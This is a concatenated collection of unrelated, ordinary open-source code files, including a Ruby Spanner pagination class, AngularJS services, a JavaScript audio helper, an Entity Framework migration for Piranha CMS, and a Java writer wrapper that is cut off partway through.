text:
require "delegate"

module Google
  module Cloud
    module Spanner
      class Instance
        class Config
          ##
          # Instance::Config::List is a special case Array with additional
          # values.
          class List < DelegateClass(::Array)
            ##
            # If not empty, indicates that there are more records that match
            # the request and this value should be passed to continue.
            attr_accessor :token

            ##
            # @private Create a new Instance::Config::List with an array of
            # Instance::Config instances.
            def initialize arr = []
              super arr
            end

            ##
            # Whether there is a next page of instance configs.
            #
            # @return [Boolean]
            #
            # @example
            #   require "google/cloud/spanner"
            #
            #   spanner = Google::Cloud::Spanner.new
            #
            #   configs = spanner.instance_configs
            #   if configs.next?
            #     next_configs = configs.next
            #   end
            def next?
              !token.nil?
            end

            ##
            # Retrieve the next page of instance configurations.
            #
            # @return [Instance::Config::List] The list of instance
            #   configurations.
            #
            # @example
            #   require "google/cloud/spanner"
            #
            #   spanner = Google::Cloud::Spanner.new
            #
            #   configs = spanner.instance_configs
            #   if configs.next?
            #     next_configs = configs.next
            #   end
            def next
              return nil unless next?
              ensure_service!
              options = { token: token, max: @max }
              grpc = @service.list_instance_configs options
              self.class.from_grpc grpc, @service, @max
            end

            ##
            # Retrieves remaining results by repeatedly invoking {#next} until
            # {#next?} returns `false`. Calls the given block once for each
            # result, which is passed as the argument to the block.
            #
            # An Enumerator is returned if no block is given.
            #
            # This method will make repeated API calls until all remaining
            # results are retrieved. (Unlike `#each`, for example, which merely
            # iterates over the results returned by a single API call.) Use with
            # caution.
            #
            # @param [Integer] request_limit The upper limit of API requests to
            #   make to load all configs. Default is no limit.
            # @yield [config] The block for accessing each instance config.
            # @yieldparam [Instance::Config] config The instance config object.
            #
            # @return [Enumerator]
            #
            # @example Iterating each instance config by passing a block:
            #   require "google/cloud/spanner"
            #
            #   spanner = Google::Cloud::Spanner.new
            #
            #   spanner.instance_configs.all do |config|
            #     puts config.instance_config_id
            #   end
            #
            # @example Using the enumerator by not passing a block:
            #   require "google/cloud/spanner"
            #
            #   spanner = Google::Cloud::Spanner.new
            #
            #   all_config_ids = spanner.instance_configs.all.map do |config|
            #     config.instance_config_id
            #   end
            #
            # @example Limit the number of API calls made:
            #   require "google/cloud/spanner"
            #
            #   spanner = Google::Cloud::Spanner.new
            #
            #   spanner.instance_configs.all(request_limit: 10) do |config|
            #     puts config.instance_config_id
            #   end
            #
            def all request_limit: nil
              request_limit = request_limit.to_i if request_limit
              unless block_given?
                return enum_for(:all, request_limit: request_limit)
              end
              results = self
              loop do
                results.each { |r| yield r }
                if request_limit
                  request_limit -= 1
                  break if request_limit < 0
                end
                break unless results.next?
                results = results.next
              end
            end

            ##
            # @private New Instance::Config::List from a
            # Google::Spanner::Admin::Instance::V1::ListInstanceConfigsResponse
            # object.
            def self.from_grpc grpc, service, max = nil
              configs = List.new(Array(grpc.instance_configs).map do |config|
                Instance::Config.from_grpc config
              end)
              token = grpc.next_page_token
              token = nil if token == "".freeze
              configs.instance_variable_set :@token,   token
              configs.instance_variable_set :@service, service
              configs.instance_variable_set :@max,     max
              configs
            end

            protected

            ##
            # Raise an error unless an active service is available.
            def ensure_service!
              raise "Must have active connection" unless @service
            end
          end
        end
      end
    end
  end
end


text:
<?php

/**
 * @defgroup plugins_themes_classicBrown
 */

/**
 * @file index.php
 *
 * Copyright (c) 2000-2012 John Willinsky
 * Distributed under the GNU GPL v2. For full terms see the file docs/COPYING.
 *
 * @brief Wrapper for "classic brown" theme plugin.
 *
 * @ingroup plugins_themes_classicBrown
 */

//$Id$

require_once('ClassicBrownThemePlugin.inc.php');

return new ClassicBrownThemePlugin();

?>

redpajama_set_name: RedPajamaGithub


text:
// This is an open source non-commercial project. Dear PVS-Studio, please check it.
// PVS-Studio Static Code Analyzer for C, C++ and C#: http://www.viva64.com

using System;
using System.Drawing;
using NppKate.Common;
using NppKate.Forms;

namespace NppKate.Modules.ConsoleLog
{
    public partial class LogForm : DockDialog, FormDockable //-V3073
    {
        TextBoxWriter _writer;
        public LogForm()
        {
            InitializeComponent();
            Text = Title;
            _writer = new TextBoxWriter(tbLog);
            System.Console.SetOut(_writer);
        }

        public Bitmap TabIcon => null;

        public string Title => Properties.Resources.CmdConsoleLog;

        public void ChangeContext() { }

        protected override void OnClosed(EventArgs e)
        {
            base.OnClosed(e);
            if (_writer != null)
                _writer.Dispose();
        }
    }
}


text:
angular.module('starter.services', [])

.factory('Chats', function() {
  // Might use a resource here that returns a JSON array
  // Some fake testing data
  var chats = [{
    id: 0,
    name: 'Ben Sparrow',
    lastText: 'You on your way?',
    face: 'https://pbs.twimg.com/profile_images/514549811765211136/9SgAuHeY.png'
  }, {
    id: 1,
    name: 'Max Lynx',
    lastText: 'Hey, it\'s me',
    face: 'https://avatars3.githubusercontent.com/u/11214?v=3&s=460'
  },{
    id: 2,
    name: 'Adam Bradleyson',
    lastText: 'I should buy a boat',
    face: 'https://pbs.twimg.com/profile_images/479090794058379264/84TKj_qa.jpeg'
  }, {
    id: 3,
    name: 'Perry Governor',
    lastText: 'Look at my mukluks!',
    face: 'https://pbs.twimg.com/profile_images/598205061232103424/3j5HUXMY.png'
  }];

  return {
    all: function() {
      return chats;
    },
    remove: function(chat) {
      chats.splice(chats.indexOf(chat), 1);
    },
    get: function(chatId) {
      for (var i = 0; i < chats.length; i++) {
        if (chats[i].id === parseInt(chatId)) {
          return chats[i];
        }
      }
      return null;
    }
  };
})
.factory('Scan', function($http,$log){

  $log.debug('Before');
  return {
    process: function(ImageForm){
      $log.debug('BeforeAfter:' + ImageForm.UploadedImage);
      $http(
         {
             method: 'POST',
             url: 'http://ocrservices.azurewebsites.net/api/Images/Upload',
             data: ImageForm,
             headers: {
               'Content-Type': undefined
             }
         }
       ).
         then(function(response) {
           $log.debug('After');
           return response.data;
           // this callback will be called asynchronously
           // when the response is available
         }, function(response) {
           $log.debug('After1');

           // called asynchronously if an error occurs
           // or server returns response with an error status.
         });
      }
  };
});


text: A package to track the user behavior.


text:
    <link rel="stylesheet" type="text/css" href="style2.css" media="screen,projection" />
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

User Data

			%REPLACE%


text:
/**
 * @plugin Audio plugin
 * @description A plugin helper that adds web audio support.
 * @version 0.0.1-beta
 * @author Alejandro Gonzalez Sole
 * @email guatedude@gmail.com
 *
 * MIT Licensed.
 **/

//import cordova from 'org.apache.cordova';
//import LowLatencyAudio from 'com.rjfun.cordova.plugin.lowlatencyaudio';
/**
 * @ignore
 */
var ready = false;
var hasLowLatencyAudio = false;
var hasWebAudio = false;
var masterVolume = 100;
var buffers = {};
var bufferSource = {};
var context;

try {
  window.AudioContext = window.AudioContext||window.webkitAudioContext;
  context = new AudioContext();
  console.log("Web Audio available!")
  hasWebAudio = true;
}catch(e) {
  console.log('Web Audio is not available!');
}

// cordova.onReady(function (){
//   if (LowLatencyAudio.isReady){
//     console.log("Native Audio available!");
//     hasLowLatencyAudio = true;
//   }
// });

/**
 * A class helper that adds web audio support.
 * @module Audio
 * @global
 */
var Audio = {
  /**
   * This method loads a sound to be used by the Audio class.
   * @method loadSound
   * @param  {string}   id       The id of the sound
   * @param  {string}   filename The filename of the sound
   * @param  {Function} callback A callback when the sound has been loaded
   * @instance
   */
  loadSound: function(id, filename, callback){
    if (hasLowLatencyAudio){
      LowLatencyAudio.preloadAudio( id, filename, masterVolume/100, 5, function(msg){
        setTimeout(function (){
          console.log("Loaded", id );
          callback();
        }, 500)
      }, function(msg){
        throw new Error('Audio Error: ' + err);
      });
    }else if (hasWebAudio){
      var request = new XMLHttpRequest();
      request.open('GET', filename, true);
      request.responseType = 'arraybuffer';

      request.onload = function() {
        context.decodeAudioData(request.response, function(buffer) {
          buffers[id] = buffer;
          console.log("Loaded", filename);
          callback();
        }, function (err){
          throw new Error('Audio Error: ' + err);
        });
      }
      request.send();
    }else{
      console.log("Unable to load", filename);
      callback();
    }
  },

  /**
   * Plays a previously loaded sound
   * @method playSound
   * @param  {string} id   The id of the sound
   * @param  {boolean} loop Wether the sound should loop. The default is "false".
   * @instance
   */
  playSound: function (id, loop){
    if (buffers[id]==undefined){
      throw new Error('Sound "'+id+'" does not exist!');
    }
    if (hasLowLatencyAudio){
      console.log("PLAY",id, (loop ? 'loop' : ''));
      if (loop){
        LowLatencyAudio.loop(id);
      }else{
        LowLatencyAudio.play(id);
      }
    }else if (hasWebAudio){
      var source = context.createBufferSource();
      source.buffer = buffers[id];
      source.loop = !!loop;
      source.connect(context.destination);
      source.start(0);
      var gainNode = context.createGain();
      source.connect(gainNode);
      bufferSource[id] = {
        source: source,
        gain: gainNode
      }
    }
  },

  /**
   * Stops a currently playing sound.
   * @method stopSound
   * @param  {string} id The id of the sound
   * @instance
   */
  stopSound: function (id){
    if (buffers[id]==undefined){
      throw new Error('Sound "'+id+'" does not exist!');
    }
    if (hasLowLatencyAudio){
      LowLatencyAudio.stop(id, function(){
        //success
      }, function (err){
        throw new Error('Audio Error: ' + err);
      });
    }else if (hasWebAudio){
      bufferSource[id].source.stop(0);
    }
  },

  /**
   * Sets the volume of a currently playing sound.
   * @method setSoundVolume
   * @param  {int} volume The volume between 0-100. The default is "100".
   * @instance
   */
  setSoundVolume: function (id, volume){
    if (buffers[id]==undefined){
      throw new Error('Sound "'+id+'" does not exist!');
    }
    volume = volume ? (volume>100 ? 100 : (volume<0 ? 0 : volume)) : 100;
    if (hasLowLatencyAudio){
      LowLatencyAudio.setVolumeForComplexAsset(id, (volume/100)*(masterVolume/100), function (){
        //sucess
      }, function (err){
        throw new Error('Audio Error: ' + err);
      });
    }else if (hasWebAudio){
      bufferSource[id].gain.value = (volume/100)*(masterVolume/100);
    }
  },

  /**
   * Sets the volume of a all sounds.
   * @method setMasterVolume
   * @param  {int} volume The volume between 0-100. The default is "100".
   * @instance
   */
  setMasterVolume: function (volume){
    masterVolume = (volume>100 ? 100 : (volume<0 ? 0 : volume));
  }
};

export default Audio;


text:
require 'spec_helper'

describe Chef::FileContentManagement::Deploy::Cp do

  let(:content_deployer) { described_class.new }
  let(:target_file_path) { "/etc/my_app.conf" }

  describe "creating the file" do

    it "touches the file to create it" do
      expect(FileUtils).to receive(:touch).with(target_file_path)
      content_deployer.create(target_file_path)
    end
  end

  describe "updating the file" do

    let(:staging_file_path) { "/tmp/random-dir/staging-file.tmp" }

    it "copies the staging file's content" do
      expect(FileUtils).to receive(:cp).with(staging_file_path, target_file_path)
      content_deployer.deploy(staging_file_path, target_file_path)
    end

  end
end


text:
// <auto-generated />
using Microsoft.EntityFrameworkCore;
using Microsoft.EntityFrameworkCore.Infrastructure;
using Microsoft.EntityFrameworkCore.Metadata;
using Microsoft.EntityFrameworkCore.Migrations;
using Microsoft.EntityFrameworkCore.Storage;
using Microsoft.EntityFrameworkCore.Storage.Internal;
using Piranha;
using Piranha.Models;
using System;

namespace Piranha.Data.EF.SQLServer.Migrations
{
    [DbContext(typeof(SQLServerDb))]
    [Migration("20180514215842_AddPostBlocks")]
    partial class AddPostBlocks
    {
        protected override void BuildTargetModel(ModelBuilder modelBuilder)
        {
#pragma warning disable 612, 618
            modelBuilder
                .HasAnnotation("ProductVersion", "2.0.1-rtm-125");

            modelBuilder.Entity("Piranha.Data.Alias", b =>
                {
                    b.Property<Guid>("Id")
                        .ValueGeneratedOnAdd();

                    b.Property<string>("AliasUrl")
                        .IsRequired()
                        .HasMaxLength(256);

                    b.Property<DateTime>("Created");

                    b.Property<DateTime>("LastModified");

                    b.Property<string>("RedirectUrl")
                        .IsRequired()
                        .HasMaxLength(256);

                    b.Property<Guid>("SiteId");

                    b.Property<int>("Type");

                    b.HasKey("Id");

                    b.HasIndex("SiteId", "AliasUrl")
                        .IsUnique();

                    b.ToTable("Piranha_Aliases");
                });

            modelBuilder.Entity("Piranha.Data.Block", b =>
                {
                    b.Property<Guid>("Id")
                        .ValueGeneratedOnAdd();

                    b.Property<string>("CLRType")
                        .IsRequired()
                        .HasMaxLength(256);

                    b.Property<DateTime>("Created");

                    b.Property<bool>("IsReusable");

                    b.Property<DateTime>("LastModified");

                    b.Property<string>("Title")
                        .HasMaxLength(128);

                    b.HasKey("Id");

                    b.ToTable("Piranha_Blocks");
                });

            modelBuilder.Entity("Piranha.Data.BlockField", b =>
                {
                    b.Property<Guid>("Id")
                        .ValueGeneratedOnAdd();

                    b.Property<Guid>("BlockId");

                    b.Property<string>("CLRType")
                        .IsRequired()
                        .HasMaxLength(256);

                    b.Property<string>("FieldId")
                        .IsRequired()
                        .HasMaxLength(64);

                    b.Property<int>("SortOrder");

                    b.Property<string>("Value");

                    b.HasKey("Id");

                    b.HasIndex("BlockId", "FieldId", "SortOrder")
                        .IsUnique();

                    b.ToTable("Piranha_BlockFields");
                });

            modelBuilder.Entity("Piranha.Data.Category", b =>
                {
                    b.Property<Guid>("Id")
                        .ValueGeneratedOnAdd();

                    b.Property<Guid>("BlogId");

                    b.Property<DateTime>("Created");

                    b.Property<DateTime>("LastModified");

                    b.Property<string>("Slug")
                        .IsRequired()
                        .HasMaxLength(64);

                    b.Property<string>("Title")
                        .IsRequired()
                        .HasMaxLength(64);

                    b.HasKey("Id");

                    b.HasIndex("BlogId", "Slug")
                        .IsUnique();

                    b.ToTable("Piranha_Categories");
                });

            modelBuilder.Entity("Piranha.Data.Media", b =>
                {
                    b.Property<Guid>("Id")
                        .ValueGeneratedOnAdd();

                    b.Property<string>("ContentType")
                        .IsRequired()
                        .HasMaxLength(256);

                    b.Property<DateTime>("Created");

                    b.Property<string>("Filename")
                        .IsRequired()
                        .HasMaxLength(128);

                    b.Property<Guid?>("FolderId");

                    b.Property<int?>("Height");

                    b.Property<DateTime>("LastModified");

                    b.Property<string>("PublicUrl");

                    b.Property<long>("Size");

                    b.Property<int>("Type");

                    b.Property<int?>("Width");

                    b.HasKey("Id");

                    b.HasIndex("FolderId");

                    b.ToTable("Piranha_Media");
                });

            modelBuilder.Entity("Piranha.Data.MediaFolder", b =>
                {
                    b.Property<Guid>("Id")
                        .ValueGeneratedOnAdd();

                    b.Property<DateTime>("Created");

                    b.Property<string>("Name")
                        .IsRequired()
                        .HasMaxLength(128);

                    b.Property<Guid?>("ParentId");

                    b.HasKey("Id");

                    b.ToTable("Piranha_MediaFolders");
                });

            modelBuilder.Entity("Piranha.Data.MediaVersion", b =>
                {
                    b.Property<Guid>("Id")
                        .ValueGeneratedOnAdd();

                    b.Property<int?>("Height");

                    b.Property<Guid>("MediaId");

                    b.Property<long>("Size");

                    b.Property<int>("Width");

                    b.HasKey("Id");

                    b.HasIndex("MediaId", "Width", "Height")
                        .IsUnique();

                    b.ToTable("Piranha_MediaVersions");
                });

            modelBuilder.Entity("Piranha.Data.Page", b =>
                {
                    b.Property<Guid>("Id")
                        .ValueGeneratedOnAdd();

                    b.Property<string>("ContentType")
                        .IsRequired()
                        .ValueGeneratedOnAdd()
                        .HasDefaultValue("Page")
                        .HasMaxLength(255);

                    b.Property<DateTime>("Created");

                    b.Property<bool>("IsHidden");

                    b.Property<DateTime>("LastModified");

                    b.Property<string>("MetaDescription")
                        .HasMaxLength(256);

                    b.Property<string>("MetaKeywords")
                        .HasMaxLength(128);

                    b.Property<string>("NavigationTitle")
                        .HasMaxLength(128);

                    b.Property<Guid?>("OriginalPageId");

                    b.Property<string>("PageTypeId")
                        .IsRequired()
                        .HasMaxLength(64);

                    b.Property<Guid?>("ParentId");

                    b.Property<DateTime?>("Published");

                    b.Property<int>("RedirectType");

                    b.Property<string>("RedirectUrl")
                        .HasMaxLength(256);

                    b.Property<string>("Route")
                        .HasMaxLength(256);

                    b.Property<Guid>("SiteId");

                    b.Property<string>("Slug")
                        .IsRequired()
                        .HasMaxLength(128);

                    b.Property<int>("SortOrder");

                    b.Property<string>("Title")
                        .IsRequired()
                        .HasMaxLength(128);

                    b.HasKey("Id");

                    b.HasIndex("PageTypeId");

                    b.HasIndex("ParentId");

                    b.HasIndex("SiteId", "Slug")
                        .IsUnique();

                    b.ToTable("Piranha_Pages");
                });

            modelBuilder.Entity("Piranha.Data.PageBlock", b =>
                {
                    b.Property<Guid>("Id")
                        .ValueGeneratedOnAdd();

                    b.Property<Guid>("BlockId");

                    b.Property<Guid>("PageId");

                    b.Property<int>("SortOrder");

                    b.HasKey("Id");

                    b.HasIndex("BlockId");

                    b.HasIndex("PageId", "SortOrder")
                        .IsUnique();

                    b.ToTable("Piranha_PageBlocks");
                });

            modelBuilder.Entity("Piranha.Data.PageField", b =>
                {
                    b.Property<Guid>("Id")
                        .ValueGeneratedOnAdd();

                    b.Property<string>("CLRType")
                        .IsRequired()
                        .HasMaxLength(256);

                    b.Property<string>("FieldId")
                        .IsRequired()
                        .HasMaxLength(64);

                    b.Property<Guid>("PageId");

                    b.Property<string>("RegionId")
                        .IsRequired()
                        .HasMaxLength(64);

                    b.Property<int>("SortOrder");

                    b.Property<string>("Value");

                    b.HasKey("Id");

                    b.HasIndex("PageId", "RegionId", "FieldId", "SortOrder");

                    b.ToTable("Piranha_PageFields");
                });

            modelBuilder.Entity("Piranha.Data.PageType", b =>
                {
                    b.Property<string>("Id")
                        .ValueGeneratedOnAdd()
                        .HasMaxLength(64);

                    b.Property<string>("Body");

                    b.Property<string>("CLRType")
                        .HasMaxLength(256);

                    b.Property<DateTime>("Created");

                    b.Property<DateTime>("LastModified");

                    b.HasKey("Id");

                    b.ToTable("Piranha_PageTypes");
                });

            modelBuilder.Entity("Piranha.Data.Param", b =>
                {
                    b.Property<Guid>("Id")
                        .ValueGeneratedOnAdd();

                    b.Property<DateTime>("Created");

                    b.Property<string>("Description")
                        .HasMaxLength(256);

                    b.Property<string>("Key")
                        .IsRequired()
                        .HasMaxLength(64);

                    b.Property<DateTime>("LastModified");

                    b.Property<string>("Value");

                    b.HasKey("Id");

                    b.HasIndex("Key")
                        .IsUnique();

                    b.ToTable("Piranha_Params");
                });

            modelBuilder.Entity("Piranha.Data.Post", b =>
                {
                    b.Property<Guid>("Id")
                        .ValueGeneratedOnAdd();

                    b.Property<Guid>("BlogId");

                    b.Property<Guid>("CategoryId");

                    b.Property<DateTime>("Created");

                    b.Property<DateTime>("LastModified");

                    b.Property<string>("MetaDescription")
                        .HasMaxLength(256);

                    b.Property<string>("MetaKeywords")
                        .HasMaxLength(128);

                    b.Property<string>("PostTypeId")
                        .IsRequired()
                        .HasMaxLength(64);

                    b.Property<DateTime?>("Published");

                    b.Property<int>("RedirectType");

                    b.Property<string>("RedirectUrl")
                        .HasMaxLength(256);

                    b.Property<string>("Route")
                        .HasMaxLength(256);

                    b.Property<string>("Slug")
                        .IsRequired()
                        .HasMaxLength(128);

                    b.Property<string>("Title")
                        .IsRequired()
                        .HasMaxLength(128);

                    b.HasKey("Id");

                    b.HasIndex("CategoryId");

                    b.HasIndex("PostTypeId");

                    b.HasIndex("BlogId", "Slug")
                        .IsUnique();

                    b.ToTable("Piranha_Posts");
                });

            modelBuilder.Entity("Piranha.Data.PostBlock", b =>
                {
                    b.Property<Guid>("Id")
                        .ValueGeneratedOnAdd();

                    b.Property<Guid>("BlockId");

                    b.Property<Guid>("PostId");

                    b.Property<int>("SortOrder");

                    b.HasKey("Id");

                    b.HasIndex("BlockId");

                    b.HasIndex("PostId", "SortOrder")
                        .IsUnique();

                    b.ToTable("Piranha_PostBlocks");
                });

            modelBuilder.Entity("Piranha.Data.PostField", b =>
                {
                    b.Property<Guid>("Id")
                        .ValueGeneratedOnAdd();

                    b.Property<string>("CLRType")
                        .IsRequired()
                        .HasMaxLength(256);

                    b.Property<string>("FieldId")
                        .IsRequired()
                        .HasMaxLength(64);

                    b.Property<Guid>("PostId");

                    b.Property<string>("RegionId")
                        .IsRequired()
                        .HasMaxLength(64);

                    b.Property<int>("SortOrder");

                    b.Property<string>("Value");

                    b.HasKey("Id");

                    b.HasIndex("PostId", "RegionId", "FieldId", "SortOrder");

                    b.ToTable("Piranha_PostFields");
                });

            modelBuilder.Entity("Piranha.Data.PostTag", b =>
                {
                    b.Property<Guid>("PostId");

                    b.Property<Guid>("TagId");

                    b.HasKey("PostId", "TagId");

                    b.HasIndex("TagId");

                    b.ToTable("Piranha_PostTags");
                });

            modelBuilder.Entity("Piranha.Data.PostType", b =>
                {
                    b.Property<string>("Id")
                        .ValueGeneratedOnAdd()
                        .HasMaxLength(64);

                    b.Property<string>("Body");

                    b.Property<string>("CLRType")
                        .HasMaxLength(256);

                    b.Property<DateTime>("Created");

                    b.Property<DateTime>("LastModified");

                    b.HasKey("Id");

                    b.ToTable("Piranha_PostTypes");
                });

            modelBuilder.Entity("Piranha.Data.Site", b =>
                {
                    b.Property<Guid>("Id")
                        .ValueGeneratedOnAdd();

                    b.Property<DateTime>("Created");

                    b.Property<string>("Description")
                        .HasMaxLength(256);

                    b.Property<string>("Hostnames")
                        .HasMaxLength(256);

                    b.Property<string>("InternalId")
                        .IsRequired()
                        .HasMaxLength(64);

                    b.Property<bool>("IsDefault");

                    b.Property<DateTime>("LastModified");

                    b.Property<string>("Title")
                        .HasMaxLength(128);

                    b.HasKey("Id");

                    b.HasIndex("InternalId")
                        .IsUnique();

                    b.ToTable("Piranha_Sites");
                });

            modelBuilder.Entity("Piranha.Data.Tag", b =>
                {
                    b.Property<Guid>("Id")
                        .ValueGeneratedOnAdd();

                    b.Property<Guid>("BlogId");

                    b.Property<DateTime>("Created");

                    b.Property<DateTime>("LastModified");

                    b.Property<string>("Slug")
                        .IsRequired()
                        .HasMaxLength(64);

                    b.Property<string>("Title")
                        .IsRequired()
                        .HasMaxLength(64);

                    b.HasKey("Id");

                    b.HasIndex("BlogId", "Slug")
                        .IsUnique();

                    b.ToTable("Piranha_Tags");
                });

            modelBuilder.Entity("Piranha.Data.Alias", b =>
                {
                    b.HasOne("Piranha.Data.Site", "Site")
                        .WithMany()
                        .HasForeignKey("SiteId")
                        .OnDelete(DeleteBehavior.Cascade);
                });

            modelBuilder.Entity("Piranha.Data.BlockField", b =>
                {
                    b.HasOne("Piranha.Data.Block", "Block")
                        .WithMany("Fields")
                        .HasForeignKey("BlockId")
                        .OnDelete(DeleteBehavior.Cascade);
                });

            modelBuilder.Entity("Piranha.Data.Category", b =>
                {
                    b.HasOne("Piranha.Data.Page", "Blog")
                        .WithMany()
                        .HasForeignKey("BlogId")
                        .OnDelete(DeleteBehavior.Cascade);
                });

            modelBuilder.Entity("Piranha.Data.Media", b =>
                {
                    b.HasOne("Piranha.Data.MediaFolder", "Folder")
                        .WithMany("Media")
                        .HasForeignKey("FolderId");
                });

            modelBuilder.Entity("Piranha.Data.MediaVersion", b =>
                {
                    b.HasOne("Piranha.Data.Media", "Media")
                        .WithMany("Versions")
                        .HasForeignKey("MediaId")
                        .OnDelete(DeleteBehavior.Cascade);
                });

            modelBuilder.Entity("Piranha.Data.Page", b =>
                {
                    b.HasOne("Piranha.Data.PageType", "PageType")
                        .WithMany()
                        .HasForeignKey("PageTypeId")
                        .OnDelete(DeleteBehavior.Cascade);

                    b.HasOne("Piranha.Data.Page", "Parent")
                        .WithMany()
                        .HasForeignKey("ParentId");

                    b.HasOne("Piranha.Data.Site", "Site")
                        .WithMany()
                        .HasForeignKey("SiteId")
                        .OnDelete(DeleteBehavior.Cascade);
                });

            modelBuilder.Entity("Piranha.Data.PageBlock", b =>
                {
                    b.HasOne("Piranha.Data.Block", "Block")
                        .WithMany("PageBlocks")
                        .HasForeignKey("BlockId")
                        .OnDelete(DeleteBehavior.Cascade);

                    b.HasOne("Piranha.Data.Page", "Page")
                        .WithMany("Blocks")
                        .HasForeignKey("PageId")
                        .OnDelete(DeleteBehavior.Cascade);
                });

            modelBuilder.Entity("Piranha.Data.PageField", b =>
                {
                    b.HasOne("Piranha.Data.Page", "Page")
                        .WithMany("Fields")
                        .HasForeignKey("PageId")
                        .OnDelete(DeleteBehavior.Cascade);
                });

            modelBuilder.Entity("Piranha.Data.Post", b =>
                {
                    b.HasOne("Piranha.Data.Page", "Blog")
                        .WithMany()
                        .HasForeignKey("BlogId")
                        .OnDelete(DeleteBehavior.Cascade);

                    b.HasOne("Piranha.Data.Category", "Category")
                        .WithMany()
                        .HasForeignKey("CategoryId")
                        .OnDelete(DeleteBehavior.Restrict);

                    b.HasOne("Piranha.Data.PostType", "PostType")
                        .WithMany()
                        .HasForeignKey("PostTypeId")
                        .OnDelete(DeleteBehavior.Cascade);
                });

            modelBuilder.Entity("Piranha.Data.PostBlock", b =>
                {
                    b.HasOne("Piranha.Data.Block", "Block")
                        .WithMany()
                        .HasForeignKey("BlockId")
                        .OnDelete(DeleteBehavior.Cascade);

                    b.HasOne("Piranha.Data.Post", "Post")
                        .WithMany("Blocks")
                        .HasForeignKey("PostId")
                        .OnDelete(DeleteBehavior.Cascade);
                });

            modelBuilder.Entity("Piranha.Data.PostField", b =>
                {
                    b.HasOne("Piranha.Data.Post", "Post")
                        .WithMany("Fields")
                        .HasForeignKey("PostId")
                        .OnDelete(DeleteBehavior.Cascade);
                });

            modelBuilder.Entity("Piranha.Data.PostTag", b =>
                {
                    b.HasOne("Piranha.Data.Post", "Post")
                        .WithMany("Tags")
                        .HasForeignKey("PostId")
                        .OnDelete(DeleteBehavior.Cascade);

                    b.HasOne("Piranha.Data.Tag", "Tag")
                        .WithMany()
                        .HasForeignKey("TagId")
                        .OnDelete(DeleteBehavior.Restrict);
                });

            modelBuilder.Entity("Piranha.Data.Tag", b =>
                {
                    b.HasOne("Piranha.Data.Page", "Blog")
                        .WithMany()
                        .HasForeignKey("BlogId")
                        .OnDelete(DeleteBehavior.Cascade);
                });
#pragma warning restore 612, 618
        }
    }
}


text:
<?php

namespace App\Fixture;

use Symfony\Component\Config\Definition\Builder\ArrayNodeDefinition;

/**
 * @author Loïc Frémont <loic@mobizel.com>
 */
class GamePlayImageFixture extends AbstractResourceFixture
{
    /**
     * {@inheritdoc}
     */
    public function getName(): string
    {
        return 'game_play_image';
    }

    /**
     * {@inheritdoc}
     */
    protected function configureResourceNode(ArrayNodeDefinition $resourceNode)
    {
        $resourceNode
            ->children()
            ->scalarNode('image')->cannotBeEmpty()->end()
            ->scalarNode('game_play')->cannotBeEmpty()->end()
            ->scalarNode('description')->end()
        ;
    }
}


text:
package org.marketcetera.util.file;

import java.io.Closeable;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.Writer;
import org.marketcetera.util.misc.ClassVersion;
import org.marketcetera.util.unicode.SignatureCharset;
import org.marketcetera.util.unicode.UnicodeFileWriter;
import org.marketcetera.util.unicode.UnicodeOutputStreamWriter;

import static org.marketcetera.util.file.SpecialNames.*;

/**
 * A wrapped writer. It may wrap a regular file, the standard output
 * or error stream, or any other {@link Writer} instance. This wrapper
 * is intended to wrap {@link Writer} instances for use with {@link
 * CloseableRegistry}, hence such instances should not be closed
 * directly, that is, without going through the wrapper's {@link
 * #close()} method.
 *
 * @author tlerios@marketcetera.com
 * @since 0.5.0
 * @version $Id: WriterWrapper.java 16154 2012-07-14 16:34:05Z colin $
 */

/* $License$ */

@ClassVersion("$Id: WriterWrapper.java 16154 2012-07-14 16:34:05Z colin $")
public class WriterWrapper
    implements Closeable
{

    // INSTANCE DATA.

    private Writer mWriter;
    private boolean mSkipClose;

    // CONSTRUCTORS.

    /**
     * Creates a new wrapped writer that wraps:
     *
     *

     *
the regular file with the given name (data is appended to the
     * file if the name is prefixed by {@link SpecialNames#PREFIX_APPEND}),
     * or

     *
the standard output stream (if the name is {@link
     * SpecialNames#STANDARD_OUTPUT}), or

     *
the standard error stream (if the name is {@link
     * SpecialNames#STANDARD_ERROR}).

     *

     *
     * A writer that can inject unicode BOMs is used as a proxy; that
     * writer uses the given signature/charset.
     *
     * @param name The file name.
     * @param requestedSignatureCharset The signature/charset. It may
     * be null to use the default JVM charset.
     *
     * @throws FileNotFoundException Thrown if the name represents a
     * regular file, and it cannot be opened for writing.
     */

    public WriterWrapper
        (String name,
         SignatureCharset requestedSignatureCharset)
        throws FileNotFoundException
    {
        if (name.equals(STANDARD_OUTPUT)) {
            mWriter=new UnicodeOutputStreamWriter
                (System.out,requestedSignatureCharset);
            mSkipClose=true;
            return;
        }
        if (name.equals(STANDARD_ERROR)) {
            mWriter=new UnicodeOutputStreamWriter
                (System.err,requestedSignatureCharset);
            mSkipClose=true;
            return;
        }
        if (!name.startsWith(PREFIX_APPEND)) {
            mWriter=new UnicodeFileWriter(name,requestedSignatureCharset);
            return;
        }
        mWriter=new UnicodeFileWriter
            (name.substring(PREFIX_APPEND.length()),true,
             requestedSignatureCharset);
    }

    /**
     * Creates a new wrapped writer that wraps:
     *
     *

     *
the regular file with the given name (data is appended to the
     * file if the name is prefixed by {@link SpecialNames#PREFIX_APPEND}),
     * or

     *
the standard output stream (if the name is {@link
     * SpecialNames#STANDARD_OUTPUT}), or

     *
the standard error stream (if the name is {@link
     * SpecialNames#STANDARD_ERROR}).

     *

     *
     * The default JVM charset is used to convert characters into
     * bytes.
     *
     * @param name The file name.
     *
     * @throws FileNotFoundException Thrown if the name represents a
     * regular file, and it cannot be opened for writing.
     */

    public WriterWrapper
        (String name)
        throws FileNotFoundException
    {
        this(name,null);
    }

    /**
     * Creates a new wrapped writer that wraps the given regular
     * file. A writer that can inject unicode BOMs is used as a proxy;
     * that writer uses the given signature/charset.
     *
     * @param file The file.
     * @param requestedSignatureCharset The signature/charset. It may
     * be null to use the default JVM charset.
     *
     * @throws FileNotFoundException Thrown if the file cannot be
     * opened for writing.
     */

    public WriterWrapper
        (File file,
         SignatureCharset requestedSignatureCharset)
        throws FileNotFoundException
    {
        mWriter=new UnicodeFileWriter(file,requestedSignatureCharset);
    }

    /**
     * Creates a new wrapped writer that wraps the given regular file.
     * The default JVM charset is used to convert characters into
     * bytes.
     *
     * @param file The file.
     *
     * @throws FileNotFoundException Thrown if the file cannot be
     * opened for writing.
     */

    public WriterWrapper
        (File file)
